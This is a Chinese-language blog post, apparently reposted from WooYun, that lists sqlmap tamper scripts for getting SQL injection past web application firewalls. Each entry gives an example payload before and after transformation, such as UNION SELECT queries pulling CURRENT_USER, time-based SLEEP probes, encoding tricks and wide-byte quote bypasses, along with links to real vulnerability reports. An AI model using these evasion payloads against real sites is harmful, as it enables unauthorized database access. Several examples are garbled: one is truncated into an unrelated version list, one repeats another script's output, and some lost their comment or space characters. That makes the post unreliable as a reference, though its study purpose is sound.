使用sqlmap中tamper指令碼繞過waf
0x00 背景
sqlmap中的tamper指令碼來對目標進行更高效的攻擊。
由於烏雲知識庫少了sqlmap-tamper 收集一下,方便學習。 根據sqlmap中的tamper指令碼可以學習過繞過一些技巧。 我收集在找相關的案例作為可分析什麼環境使用什麼tamper指令碼。 小學生畢業的我,著能偷偷說一下多做一些收集對吸收知識很快。
0x01 start
指令碼名:apostrophemask.py
作用:用utf8代替引號
1 |
Example: ( "1 AND '1'='1" ) '1 AND
%EF%BC%871%EF%BC%87=%EF%BC%871'
|
Tested against: all
指令碼名:equaltolike.py
作用:like 代替等號
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Example:
* Input: SELECT *
FROM users
WHERE id=1
* Output : SELECT
* FROM users
WHERE id LIKE
1
|
案例一: http://wooyun.org/bugs/wooyun-2010-087296
案例二: http://wooyun.org/bugs/wooyun-2010-074790
案例三:http://wooyun.org/bugs/wooyun-2010-072489
指令碼名:space2dash.py
作用:繞過過濾‘=’ 替換空格字元(”),(’ – ‘)後跟一個破折號註釋,一個隨機字串和一個新行(’ n’)
1 |
Example: ( '1 AND 9227=9227' ) '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
|
Tested against: * MSSQL * SQLite
案例一:http://wooyun.org/bugs/wooyun-2010-062878
指令碼名:greatest.py
作用:繞過過濾’>’ ,用GREATEST替換大於號。
1 |
Example: ( '1 AND A > B' )
and
5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 |
指令碼名:space2hash.py
作用:空格替換為#號 隨機字串 以及換行符
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Example:
* Input: 1
AND 9227=9227
* Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
|
Requirement:
-
MySQL Tested against:
-
MySQL 4.0, 5.0
指令碼名:apostrophenullencode.py
作用:繞過過濾雙引號,替換字元和雙引號。
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Example: tamper( "1 AND '1'='1" ) '1 AND
%00%271%00%27=%00%271'
|
Tested against:
-
MySQL 4, 5.0 and 5.5
-
Oracle 10g
-
PostgreSQL 8.3, 8.4, 9.0
指令碼名:halfversionedmorekeywords.py
作用:當資料庫為mysql時繞過防火牆,每個關鍵字之前新增mysql版本評論
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Example:
( "value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa" ) "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND
'QDWa'='QDWa"
|
Requirement:
- MySQL < 5.1
Tested against:
- MySQL 4.0.18, 5.0.22
指令碼名:space2morehash.py
作用:空格替換為 #號 以及更多隨機字串 換行符
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Example:
* Input: 1 AND 9227=9227
* Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
|
Requirement: * MySQL >= 5.1.13 Tested
against: * MySQL 5.1.41
指令碼名:appendnullbyte.py
作用:在有效負荷結束位置載入零位元組字元編碼
1 |
Example: ( '1 AND 1=1' ) '1 AND 1=1%00'
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Requirement:
- Microsoft Access
指令碼名:ifnull2ifisnull.py
作用:繞過對 IFNULL 過濾。 替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’
1 2 3 |
Example:
( 'IFNULL(1, 2)' ) 'IF(ISNULL(1),2,1)'
|
Requirement:
-
MySQL
-
SQLite (possibly)
-
SAP MaxDB (possibly)
Tested against:
- MySQL 5.0 and 5.5
指令碼名:space2mssqlblank.py(mssql)
作用:空格替換為其它空符號
Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers
Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005
ASCII table:
案例一: wooyun.org/bugs/wooyun-2010-062878
指令碼名:base64encode.py
作用:用base64編碼替換 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all
案例一: http://wooyun.org/bugs/wooyun-2010-060071
案例二: http://wooyun.org/bugs/wooyun-2010-021062
案例三: http://wooyun.org/bugs/wooyun-2010-043229
指令碼名:space2mssqlhash.py
作用:替換空格
1 |
Example: ( '1 AND 9227=9227' ) '1%23%0AAND%23%0A9227=9227'
Requirement: * MSSQL * MySQL
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指令碼名:modsecurityversioned.py
作用:過濾空格,包含完整的查詢版本註釋
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Example: ( '1 AND 2>1--' ) '1 /*!30874AND 2>1*/--'
|
Requirement: * MySQL
Tested against:
- MySQL 5.0
指令碼名:space2mysqlblank.py
作用:空格替換其它空白符號(mysql)
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Example:
* Input: SELECT id
FROM users
* Output : SELECT %0Bid%0BFROM%A0users
|
Requirement:
- MySQL
Tested against:
- MySQL 5.1
案例一:wooyun.org/bugs/wooyun-2010-076735
指令碼名:between.py
作用:用between替換大於號(>)
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Example: ( '1 AND A > B--' ) '1 AND A NOT BETWEEN 0 AND B--'
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Tested against:
-
Microsoft SQL Server 2005
-
MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
案例一:wooyun.org/bugs/wooyun-2010-068815
指令碼名:space2mysqldash.py
作用:替換空格字元(”)(’ – ‘)後跟一個破折號註釋一個新行(’ n’)
注:之前有個mssql的 這個是mysql的
1 |
Example: ( '1 AND 9227=9227' ) '1--%0AAND--%0A9227=9227'
|
Requirement:
-
MySQL
-
MSSQL
指令碼名:multiplespaces.py
作用:圍繞SQL關鍵字新增多個空格
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Example: ( '1 UNION SELECT foobar' ) '1 UNION SELECT foobar'
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Tested against: all
案例一: wooyun.org/bugs/wooyun-2010-072489
指令碼名:space2plus.py
作用:用+替換空格
1 |
Example: ( 'SELECT id FROM users' ) 'SELECT+id+FROM+users'
Tested against: all
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指令碼名:bluecoat.py
作用:代替空格字元後與一個有效的隨機空白字元的SQL語句。 然後替換=為like
1 |
Example: ( 'SELECT id FROM users where id = 1' ) 'SELECT%09id FROM users where id LIKE 1'
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Tested against:
- MySQL 5.1, SGOS
指令碼名:nonrecursivereplacement.py
雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
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Example: ( '1 UNION SELECT 2--' ) '1 UNIOUNIONN SELESELECTCT 2--'
Tested against: all
|
指令碼名:space2randomblank.py
作用:代替空格字元(“”)從一個隨機的空白字元可選字元的有效集
1 |
Example: ( 'SELECT id FROM users' ) 'SELECT%0Did%0DFROM%0Ausers'
|
Tested against: all
指令碼名:sp_password.py
作用:追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾
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Example: ( '1 AND 9227=9227-- ' ) '1 AND 9227=9227-- sp\_password'
Requirement: * MSSQL
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指令碼名:chardoubleencode.py
作用: 雙url編碼(不處理以編碼的)
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Example:
* Input: SELECT FIELD
FROM %20TABLE
* Output : %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
|
指令碼名:unionalltounion.py
作用:替換UNION ALL SELECT UNION SELECT
Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'
Requirement: all
指令碼名:charencode.py
作用:url編碼
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Example:
* Input: SELECT FIELD
FROM %20TABLE
* Output : %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
|
tested against:
-
Microsoft SQL Server 2005
-
MySQL 4, 5.0 and 5.5
-
Oracle 10g
-
PostgreSQL 8.3, 8.4, 9.0
指令碼名:randomcase.py
作用:隨機大小寫 Example:
- Input: INSERT
- Output: InsERt
Tested against:
-
Microsoft SQL Server 2005
-
MySQL 4, 5.0 and 5.5
-
Oracle 10g
-
PostgreSQL 8.3, 8.4, 9.0
指令碼名:unmagicquotes.py
作用:寬字元繞過 GPC addslashes
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Example:
* Input: 1′
AND 1=1
* Output : 1%bf%27 AND
1=1–%20
|
指令碼名:randomcomments.py
作用:用/**/分割sql關鍵字
1 2 3 |
Example:
‘ INSERT ’ becomes ‘ IN //S//ERT’
|
指令碼名:charunicodeencode.py
作用:字串 unicode 編碼
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Example:
* Input: SELECT FIELD%20FROM
TABLE
* Output : %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
|
Requirement:
-
ASP
-
ASP.NET
Tested against:
-
Microsoft SQL Server 2000
-
Microsoft SQL Server 2005
-
MySQL 5.1.56
-
PostgreSQL 9.0.3
案例一: wooyun.org/bugs/wooyun-2010-074261
指令碼名:securesphere.py
作用:追加特製的字串
1 |
Example: ( '1 AND 1=1' ) "1 AND 1=1 and '0having'='0having'"
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Tested against: all
指令碼名:versionedmorekeywords.py
作用:註釋繞過
1 2 3 4 5 |
Example:
* Input: 1 UNION ALL
SELECT NULL ,
NULL , CONCAT( CHAR (58,122,114,115,58),IFNULL( CAST ( CURRENT_USER () AS
CHAR ), CHAR (32)), CHAR (58,115,114,121,58))#
* Output : 1/*! UNION **! ALL **! SELECT **! NULL */,/*! NULL */,/*!CONCAT*/(/*! CHAR */(58,122,114,115,58),/*!IFNULL*/( CAST (/*! CURRENT_USER */()/*! AS **! CHAR */),/*! CHAR */(32)),/*! CHAR */(58,115,114,121,58))#
|
Requirement:
- MySQL >= 5.1.13
指令碼名:space2comment.py
作用:Replaces space character (‘ ‘) with comments ‘/**/’
1 2 3 4 5 |
Example:
* Input: SELECT id
FROM users
* Output : SELECT //id// FROM /**/users
|
Tested against:
-
Microsoft SQL Server 2005
-
MySQL 4, 5.0 and 5.5
-
Oracle 10g
-
PostgreSQL 8.3, 8.4, 9.0
案例一:wooyun.org/bugs/wooyun-2010-046496
指令碼名:halfversionedmorekeywords.py
作用:關鍵字前加註釋
1 2 3 4 5 |
Example:
* Input: value’
UNION ALL
SELECT CONCAT( CHAR (58,107,112,113,58),IFNULL( CAST ( CURRENT_USER () AS
CHAR ), CHAR (32)), CHAR (58,97,110,121,58)), NULL ,
NULL # AND
‘QDWa’= 'QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=' QDWa
|
Requirement:
- MySQL < 5.1
Tested against:
- MySQL 4.0.18, 5.0.22
轉自: http://drops.wooyun.org/tools/4760